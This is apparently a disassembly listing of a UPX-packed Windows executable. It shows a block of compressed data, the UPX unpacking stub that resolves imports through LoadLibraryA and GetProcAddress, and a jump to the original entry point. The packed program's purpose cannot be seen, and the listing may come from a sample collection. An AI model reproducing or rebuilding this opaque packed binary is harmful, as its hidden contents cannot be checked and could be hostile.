		dd 246B032Fh, 92E0DA6Fh, 29127FA0h, 0F0286E0h, 24E46F8Ch
		dd 894F70EDh, 0E46E5F13h, 0C19A32EEh, 0EC0B4920h, 0DA190183h
		dd 0A61CD320h, 7C90FD19h, 0EE88E894h, 118E268h,	24C4C427h
		dd 2A4360E1h, 86BB0ADAh, 0BF23C584h, 0FF579042h, 0E04B8164h
		dd 50D0F243h, 0BFFFF863h, 0A8A3B61h, 80184C04h,	8800F97Dh
		dd 675ED45h, 30EF45C6h,	0DBDBC0B4h, 0F91608EBh,	0EF0F1304h
		dd 0C47F186Ah, 749CBC9Bh, 2D2D7430h, 9A56A23Dh,	7E4067B1h
		dd 0D256EDEDh, 0E4669EFCh, 1704FC4Bh, 43EEECFDh, 0FD4796D8h
		dd 29EE1904h, 0C7C808ECh, 0F0186E1Ah, 0E7077400h, 0EDA0E888h
		dd 15F216DCh, 0E2963DB1h, 76DBED61h, 8B6695EDh,	0E4848A0Bh
		dd 76DE578h, 0E67F84F6h, 88037430h, 587DE665h, 65243C7Dh
		dd 0C8656F90h, 9EE7FC3Ch, 0E491B64Bh, 0E8E4BEE4h, 0C908F004h
		dd 0E1E88047h, 139002ECh, 1847254Ah, 2FD982C3h,	19686B11h
		dd 0F795902Bh, 4B6FC487h, 0DFBFA544h, 0BA81F0F0h, 0FC92A6BEh
		dd 302B6Fh, 2C6832EBh, 8E129781h, 0FFB2780Eh, 267402F8h
		dd 9972F568h, 0E868143Dh, 43F1AA03h, 0BF5780C9h, 5FC57499h
		dd 6E3458C9h, 85C25E69h, 44DF1064h, 0D420BE29h,	3C485079h
		dd 8389C803h, 0E16FED14h, 8B18418Dh, 1A083870h,	0BD1B42A7h
		dd 4D898205h, 8FE45DDCh, 4F8BD1B0h, 0A08B638Ch,	85FF1420h
		dd 2D583477h, 0F7F8DA09h, 90101BDFh, 0E7C42A13h, 0DFFDE13Ch
		dd 3F65EA66h, 0EF0A25B7h, 4D5356E2h, 30362974h,	0C33BD0F0h
		dd 5132E384h, 0AA5F65B5h, 9430A917h, 2405CDh, 582F04B0h
		dd 8A622531h, 4C9190B9h, 0F40349A3h, 19E849Ch, 223A1219h
		dd 8380C28h, 0A7EBFF5Bh, 2B32BC45h, 918A6F9h, 0E81C22B4h
		dd 7193EB1Eh, 0EE3646F9h, 8B1FC0EAh, 7EBC88F0h,	518BED89h
		dd 0F1E74EBDh
		dd 815AF09Fh, 0F8B699FAh, 88B3C47h, 0DC2830Dh, 0E88CB3B2h
		dd 0E8269F0Ah, 1D5238Bh, 0EE048C12h, 0FEC1BE55h, 8F0A8E0Ch
		dd 0C9E03E2Dh, 74E87D8Bh, 8CE3F7FCh, 0A1AF597Eh, 0F915FA53h
		dd 146F52C3h, 8B5880CEh, 14499B6Fh, 8580CC03h, 277CBC56h
		dd 7EADDB6Dh, 0D68B2817h, 5589D72Bh, 82D650C3h,	7E25FFC8h
		dd 34412F60h, 3886C703h, 975BE8Dh, 0ED067881h, 8BE168DFh
		dd 3ED0907h, 408BED54h,	0C410302h, 0FFDC161Ah, 0C0A5EBB7h
		dd 4001EB08h, 75183966h, 54040FAh, 6D972C8Ah, 0C8CBB623h
		dd 47C670CFh, 0F63B1BC7h, 811B2F9Fh, 8BEB97FFh,	3D89F855h
		dd 370C4956h, 5BFFFFF9h, 0FC1154A0h, 3A40088Ah,	803074CBh
		dd 773F0F9h, 3C9B60Fh, 7B0FEBD1h, 307FED6Bh, 0C10FE183h
		dd 0CE0B10E1h, 0ECB2530Eh, 2B260A01h, 751DEC7Eh, 8D40A9D9h
		dd 0D53DF747h, 0F1BAB767h, 2B5147ECh, 8759A75h,	298B1020h
		dd 0FEFF1973h, 0B3684475h, 12E61874h, 0A030B653h, 500CA491h
		dd 87320E0Ah, 1AA77A51h, 0C027FC52h, 6834707Dh,	1DE02F68h
		dd 92C66AAAh, 0F0C0C362h, 0C6011E6Fh, 5CAF95B3h, 23109410h
		dd 5803EFC8h, 0A0BD89F9h, 286A1FFDh, 0AD55C933h, 58C46030h
		dd 0DB2C4441h, 88C7C102h, 0E6AF8C2h, 0CD95670Fh, 20121077h
		dd 90312861h, 0DDC3390Bh, 93F30D9Ch, 2119AD05h,	4C386A8Ah
		dd 735727C8h, 0C001F73Dh, 87055343h, 4E3860B9h,	0C9737F0Ch
		dd 22F14184h, 0B89AF068h, 0D0FF336Fh, 5380C900h, 195796F9h
		dd 1D5DB583h, 0A8067B13h, 938ACD53h, 4AE023FDh,	6C49A137h
		dd 32FE0104h, 0B4556CE8h, 3C22AEFEh, 7E7FEE8h, 0E2B0DE0Bh
		dd 5E4B5B1Eh, 0F847E15Bh, 3D58296Ah, 40462AB4h,	2D31C683h
		dd 0BDF0FE02h, 277F83A9h, 50576340h, 0C79C3589h, 28043736h
		dd 2043050Dh, 6DB7B309h, 15668F0Bh, 77CBAE8h, 403B2346h
		dd 0FE81E248h, 9A2F04E2h, 2502DB30h, 0B8CD0C74h, 15B60BAEh
		dd 0A5570375h, 323EFFD3h, 32D8DDBBh, 250C0510h,	13666E0Bh
		dd 63FB2CCFh, 8B164A9Bh, 0BF3B681Ch, 0F4537B88h, 27842E48h
		dd 9D5E074Dh, 196060ACh, 0A260687Fh, 7853768Ah,	43CEDC33h
		dd 3C34ABA0h, 0C49D8601h, 0CA415B90h, 32E96B9h,	0E42EC862h
		dd 0BFDBAB04h, 0B80970E0h, 78BE95F0h, 95E2BC68h, 86F14C3Eh
		dd 1BEEC52Fh, 948D14A5h, 8011C50Dh, 8B02B57Ah, 0BB1BE0DAh
		dd 0C83B41FFh, 0B8BEC75h, 0B0020B8h, 7865A1C8h,	6FF26C70h
		dd 999E3453h, 6F10044Bh, 0C726572h, 0CFC8CFE5h,	78652E08h
		dd 9906C665h, 4802A1ADh, 0F5AAD09h, 0D98416B7h,	0C87D72CFh
		dd 0E4174CDEh, 0ABF3F810h, 1BE61DE8h, 0BFE909C8h, 308AAB11h
		dd 7459F685h, 583A6A73h, 2074BA20h, 19189540h, 34183D18h
		dd 0E92AC681h, 2DCF9A26h, 0C9560DB1h, 0CE1F5968h, 686C8640h
		dd 363374D4h, 5A17A0h, 1A1382D9h, 187D7AA8h, 0A9C3287Ch
		dd 0BF8A1C5Fh, 0C1E83F0h, 514FB68h, 2524B4ADh, 22175E2Bh
		dd 72033F6Ah, 24E1D521h, 24DBBE07h, 80E92616h, 0C1F066Ah
		dd 8714206Fh, 12423785h, 0AEC780BBh, 1F37B027h,	8191083h
		dd 0B9E504E8h, 351B3D12h, 413EE408h, 0DD51F8BBh, 30FA8CC9h
		dd 390081E2h, 39B53DEEh, 0E055744h, 0ECB9E4F8h,	37B47370h
		dd 2167DCCBh, 42F3407Ah, 1648481Bh, 99D5ADDh, 816B02F4h
		dd 0EF5B7C7Bh, 558D0051h, 34D152E8h, 0C32F0B34h, 616A783Bh
		dd 11CD5077h, 2B932F22h, 70AC3D2Bh, 15832584h, 86E78F92h
		dd 0E2421792h, 0B676E43Ah, 364A864Ah, 0A641D8D9h, 0BE9135Ah
		dd 0B349326Ah, 0E275DB95h, 761614CCh, 3D14F268h, 0B07511B8h
		dd 791C0FECh, 0CC238h, 0FE2D00CCh, 4C3FB837h, 1BC85624h
		dd 23D0F7C0h, 0CAC48BC8h, 952FFD52h, 0A7231F0h,	9459C18Bh
		dd 0E589008Bh, 0D1750A3Fh, 3985352Dh, 0FF00CB53h, 644107h
		dd 6F666B70h, 2D31306Fh, 0F63EDD67h, 7600056Fh,	6C6E6F71h
		dd 74000A6Dh, 66016D6Ah, 6B3F777h, 70730C8Fh, 164262h
		dd 0C756762h, 305DF60Dh, 66750030h, 346A7071h, 0B7BF777Dh
		dd 75700FDFh, 706C6B60h, 667B6637h, 1334321Bh, 0FF676A25h
		dd 3EBFF6EDh, 6C60252Bh, 0A316667h, 6E0B7626h, 746A626Fh
		dd 0B1732D7Bh, 6BEEBBB1h, 3E523C73h, 3B353703h,	0BF2B3220h
		dd 67FFFEF5h, 6B727572h, 6C006E71h, 6F7B6A6Ch, 6128617Ah
		dd 67677B65h, 7C4B606Dh, 7A6161EFh, 0E9776B0Dh,	0CDDF0B68h
		dd 7272ED6Eh, 6C64832Ch, 7964A70Eh, 0E5646574h,	72F7BBFFh
		dd 11757762h, 667470A7h, 687B626Eh, 6B6Bh, 0D90B3960h
		dd 4B71B605h, 70663461h, 0FDBF1B81h, 5FBFFFh, 7377776Bh
		dd 722C2C39h, 6F617461h, 61686960h, 6E972D64h, 6C71732Ch
		dd 0FDCA57B0h, 682C7064h, 79156E64h, 98172763h,	7B485BFBh
		dd 6D75717Bh, 5F274C7Ah, 0F12C22FBh, 70696677h,	0F146FE0h
		dd 0B7615960h, 0C716C1Fh, 676F765Fh, 7B712F71h,	0B6385B0Fh
		dd 6C7269F0h, 5F0D6E5Fh, 17662465h, 0FB42B27h, 0A9616E7Bh
		dd 68624314h, 0B7608596h, 7376CE65h, 40675310h,	0E850B097h
		dd 0B67368BBh, 0FF769F6Fh, 70B587EDh, 66500D10h, 64F46647h
		dd 756A7153h, 79666F6Ah, 64B1DC10h, 1A776D47h, 4E774DDBh
		dd 617B70CEh, 4C741455h, 77602A65h, 9BF667D6h, 0D0081Bh
		dd 6C6F7306h, 0CBE6671h, 87204882h, 21441900h, 0A9B226Bh
		dd 7F090082h, 580A2E79h, 736C0120h, 0C8637274h,	70E41F67h
		dd 706D4179h, 6C144169h, 4FFE6E65h, 74617DB3h, 14653141h
		dd 72707377h, 66746E69h, 0E7FF20FFh, 13E40113h,	620062Bh
		dd 180F0D09h, 63111B28h, 0FEDEDFFFh, 60C1927h, 52F0F08h
		dd 142A510Ch, 2709440Ch, 1D0B7710h, 4C250961h, 0FFFF6FDBh
		dd 1D110C0Ah, 133D080Ch, 36160828h, 16170D19h, 1606401Ch
		dd 0C2E3D24h, 0FFFF6FFFh, 5E103A77h, 56107013h,	5910290Ch
		dd 740B1D09h, 123E1B55h, 13290812h, 150B0526h, 0BFFFDFEEh
		dd 0E44001Ah, 32371A07h, 3D2F5A42h, 35013A32h, 5D354B3Ah
		dd 0EDEDFB7Fh, 4C102B0Ch, 6381542h, 19091B19h, 702C4B2Eh
		dd 4E0C2914h, 77FFFBAEh, 13060B19h, 14285C08h, 41571B15h
		dd 6A103F11h, 334122Ch,	0DBFFB66Bh, 27723822h, 1B160E24h
		dd 16120506h, 8941130Ah, 0BB6F6363h, 0E1F397Fh,	0B1A280Ch
		dd 2C2A131Fh, 11100D07h, 5FF21F3Dh, 455000E2h, 4014CD5h
		dd 2E49D300h, 200E046h,	0F6CD66D7h, 8010B01h, 130C1E0Ch
		dd 9CB604AAh, 3105D7Dh,	0B400D30h, 6C330402h, 70B3749h
		dd 161E600Ch, 10ECD92Fh, 6F06072Bh, 5E5920E5h, 503C325Ch
		dd 0C900BAC8h, 1CA701D4h, 9AF7BE1Eh, 65742E1Fh,	24CB7478h
		dd 8504EB90h, 23C2EEE8h, 722ECD20h, 7D851664h, 0AFB6E41h
		dd 27222303h, 0DD7BB3B0h, 262E0240h, 73021C10h,	2DD6FB9Fh
		dd 654FC016h, 5B636F6Ch, 4DFB5027h, 264F60C9h, 32B41B42h
		dd 0F0000023h, 512C4A67h, 480000h, 0FF0000h, 0

; =============== S U B	R O U T	I N E =======================================


		public start

start		proc near

var_AC		= byte ptr -0ACh

		pusha
		mov	esi, offset dword_406000
		lea	edi, [esi-5000h]
		push	edi
		or	ebp, 0FFFFFFFFh
		jmp	short loc_407262
; ---------------------------------------------------------------------------
		align 8

loc_407258:				; CODE XREF: start:loc_407269j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi

loc_40725E:				; CODE XREF: start+B6j	start+CDj
		add	ebx, ebx
		jnz	short loc_407269

loc_407262:				; CODE XREF: start+10j
		mov	ebx, [esi]
		sub	esi, 0FFFFFFFCh
		adc	ebx, ebx

loc_407269:				; CODE XREF: start+20j
		jb	short loc_407258
		mov	eax, 1

loc_407270:				; CODE XREF: start+3Fj	start+4Aj
		add	ebx, ebx
		jnz	short loc_40727B
		mov	ebx, [esi]
		sub	esi, 0FFFFFFFCh
		adc	ebx, ebx

loc_40727B:				; CODE XREF: start+32j
		adc	eax, eax
		add	ebx, ebx
		jnb	short loc_407270
		jnz	short loc_40728C
		mov	ebx, [esi]
		sub	esi, 0FFFFFFFCh
		adc	ebx, ebx
		jnb	short loc_407270

loc_40728C:				; CODE XREF: start+41j
		xor	ecx, ecx
		sub	eax, 3
		jb	short loc_4072A0
		shl	eax, 8
		mov	al, [esi]
		inc	esi
		xor	eax, 0FFFFFFFFh
		jz	short loc_407312
		mov	ebp, eax

loc_4072A0:				; CODE XREF: start+51j
		add	ebx, ebx
		jnz	short loc_4072AB
		mov	ebx, [esi]
		sub	esi, 0FFFFFFFCh
		adc	ebx, ebx

loc_4072AB:				; CODE XREF: start+62j
		adc	ecx, ecx
		add	ebx, ebx
		jnz	short loc_4072B8
		mov	ebx, [esi]
		sub	esi, 0FFFFFFFCh
		adc	ebx, ebx

loc_4072B8:				; CODE XREF: start+6Fj
		adc	ecx, ecx
		jnz	short loc_4072DC
		inc	ecx

loc_4072BD:				; CODE XREF: start+8Cj	start+97j
		add	ebx, ebx
		jnz	short loc_4072C8
		mov	ebx, [esi]
		sub	esi, 0FFFFFFFCh
		adc	ebx, ebx

loc_4072C8:				; CODE XREF: start+7Fj
		adc	ecx, ecx
		add	ebx, ebx
		jnb	short loc_4072BD
		jnz	short loc_4072D9
		mov	ebx, [esi]
		sub	esi, 0FFFFFFFCh
		adc	ebx, ebx
		jnb	short loc_4072BD

loc_4072D9:				; CODE XREF: start+8Ej
		add	ecx, 2

loc_4072DC:				; CODE XREF: start+7Aj
		cmp	ebp, 0FFFFF300h
		adc	ecx, 1
		lea	edx, [edi+ebp]
		cmp	ebp, 0FFFFFFFCh
		jbe	short loc_4072FC

loc_4072ED:				; CODE XREF: start+B4j
		mov	al, [edx]
		inc	edx
		mov	[edi], al
		inc	edi
		dec	ecx
		jnz	short loc_4072ED
		jmp	loc_40725E
; ---------------------------------------------------------------------------
		align 4

loc_4072FC:				; CODE XREF: start+ABj	start+C9j
		mov	eax, [edx]
		add	edx, 4
		mov	[edi], eax
		add	edi, 4
		sub	ecx, 4
		ja	short loc_4072FC
		add	edi, ecx
		jmp	loc_40725E
; ---------------------------------------------------------------------------

loc_407312:				; CODE XREF: start+5Cj
		pop	esi
		mov	edi, esi
		mov	ecx, 76h

loc_40731A:				; CODE XREF: start+E1j	start+E6j
		mov	al, [edi]
		inc	edi
		sub	al, 0E8h

loc_40731F:				; CODE XREF: start+104j
		cmp	al, 1
		ja	short loc_40731A
		cmp	byte ptr [edi],	1
		jnz	short loc_40731A
		mov	eax, [edi]
		mov	bl, [edi+4]
		shr	ax, 8
		rol	eax, 10h
		xchg	al, ah
		sub	eax, edi
		sub	bl, 0E8h
		add	eax, esi
		mov	[edi], eax
		add	edi, 5
		mov	al, bl
		loop	loc_40731F
		lea	edi, [esi+5000h]

loc_40734C:				; CODE XREF: start+12Ej
		mov	eax, [edi]
		or	eax, eax
		jz	short loc_40738E
		mov	ebx, [edi+4]
		lea	eax, [eax+esi+7000h]
		add	ebx, esi
		push	eax
		add	edi, 8
		call	dword ptr [esi+703Ch]
		xchg	eax, ebp

loc_407369:				; CODE XREF: start+146j
		mov	al, [edi]
		inc	edi
		or	al, al
		jz	short loc_40734C
		mov	ecx, edi
		push	edi
		dec	eax
		repne scasb
		push	ebp
		call	dword ptr [esi+7040h]
		or	eax, eax
		jz	short loc_407388
		mov	[ebx], eax
		add	ebx, 4
		jmp	short loc_407369
; ---------------------------------------------------------------------------

loc_407388:				; CODE XREF: start+13Fj
		call	dword ptr [esi+7048h]

loc_40738E:				; CODE XREF: start+110j
		add	edi, 4
		lea	ebx, [esi-4]

loc_407394:				; CODE XREF: start+170j
		xor	eax, eax
		mov	al, [edi]
		inc	edi
		or	eax, eax
		jz	short loc_4073BF
		cmp	al, 0EFh
		ja	short loc_4073B2

loc_4073A1:				; CODE XREF: start+17Dj
		add	ebx, eax
		mov	eax, [ebx]
		xchg	al, ah
		rol	eax, 10h
		xchg	al, ah
		add	eax, esi
		mov	[ebx], eax
		jmp	short loc_407394
; ---------------------------------------------------------------------------

loc_4073B2:				; CODE XREF: start+15Fj
		and	al, 0Fh
		shl	eax, 10h
		mov	ax, [edi]
		add	edi, 2
		jmp	short loc_4073A1
; ---------------------------------------------------------------------------

loc_4073BF:				; CODE XREF: start+15Bj
		mov	ebp, [esi+7044h]
		lea	edi, [esi-1000h]
		mov	ebx, 1000h
		push	eax
		push	esp
		push	4
		push	ebx
		push	edi
		call	ebp
		lea	eax, [edi+1EFh]
		and	byte ptr [eax],	7Fh
		and	byte ptr [eax+28h], 7Fh
		pop	eax
		push	eax
		push	esp
		push	eax
		push	ebx
		push	edi
		call	ebp
		pop	eax
		popa
		lea	eax, [esp+2Ch+var_AC]

loc_4073F3:				; CODE XREF: start+1B7j
		push	0
		cmp	esp, eax
		jnz	short loc_4073F3
		sub	esp, 0FFFFFF80h
		jmp	sub_402908
start		endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 1000h
UPX1		ends

; Section 3. (virtual address 00008000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 00008000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
UPX2		segment	para public 'DATA' use32
		assume cs:UPX2
		;org 408000h
		dd 3 dup(0)
		dd 8058h, 803Ch, 3 dup(0)
		dd 8065h, 8050h, 5 dup(0)
		dd 77E805D8h, 77E7A5FDh, 77E6169Ah, 77E75CB5h, 0
aJW		db 'jÉÔw',0
		align 4
aKernel32_dll	db 'KERNEL32.DLL',0
aUser32_dll	db 'USER32.dll',0
		dd 6F4C0000h, 694C6461h, 72617262h, 4179h, 50746547h, 41636F72h
		dd 65726464h, 7373h, 74726956h,	506C6175h, 65746F72h, 7463h
		dd 74697845h, 636F7250h, 737365h, 73770000h, 6E697270h
		dd 416674h, 7000h, 0Ch,	3242h, 3CFh dup(0)
UPX2		ends

; Section 4. (virtual address 00009000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 00009000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 409000h
		align 2000h
_idata2		ends


		end start